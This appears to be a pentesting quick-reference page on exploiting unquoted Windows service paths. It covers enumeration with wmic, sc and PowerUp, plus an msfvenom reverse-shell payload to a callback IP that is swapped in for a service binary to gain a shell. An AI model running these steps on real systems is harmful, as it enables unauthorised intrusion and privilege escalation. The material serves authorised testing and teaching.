> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/privilege-escalation/windows-priv-esc/unquoted-service-path-vulnerability.md).
# Unquoted service path vulnerability
### Unquoted service path vulnerability
**Find Services With Unquoted Paths**
```
# Using WMIC
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
# Using sc
sc query
sc qc service name
# Look for Binary_path_name and see if it is unquoted.
```
If the path contains a space and is not quoted, the service is vulnerable.
**Exploit It**
If the path to the binary is:
```
c:\Program Files\something\winamp.exe
```
We can place a binary like this
```
c:\program.exe
```
When the program is restarted it will execute the binary `program.exe`, which we of course control. We can do this in any directory that has a space in its name. Not only `program files`.
This attack is explained here:\
There is also a metasploit module for this is: exploit/windows/local/trusted\_service\_path
#### Enumeration with powerup.ps1
```
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
```
upload the script with metasploit
```
upload /root/PowerSploit/Privesc/PowerUp.ps1
```
Now run the script with Powershell
```
load Powershell
powershell_shell
.\PowerUp.ps1
Invoke-Allchecks
```
• List services which can be configured :thumbsup:
```
Get-ModifiableService -Verbose
```
We are also given the command to execute it.
• Unquoted Service Path :thumbsup:
```
Get-ServiceUnquoted -Verbose
```
```
C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
```
Now create a reverse shell payload
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.3.221 LPORT=4443 -e x86/shikata_ga_nai -
```
{% hint style="info" %} using reverse meterpreter payload dies if used and we have to chain it with post/windows/manage/migrate
{% endhint %}
Now upload the malicious file and changer meterpreter to shell, stop the service and then copy the file the same location, start listener at port 4443 and start the service again.
```
upload ASCService.exe
shell
sc stop AdvancedSystemCareService9
copy ASCService.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"
sc start AdvancedSystemCareService9
```
and we got the reverse shell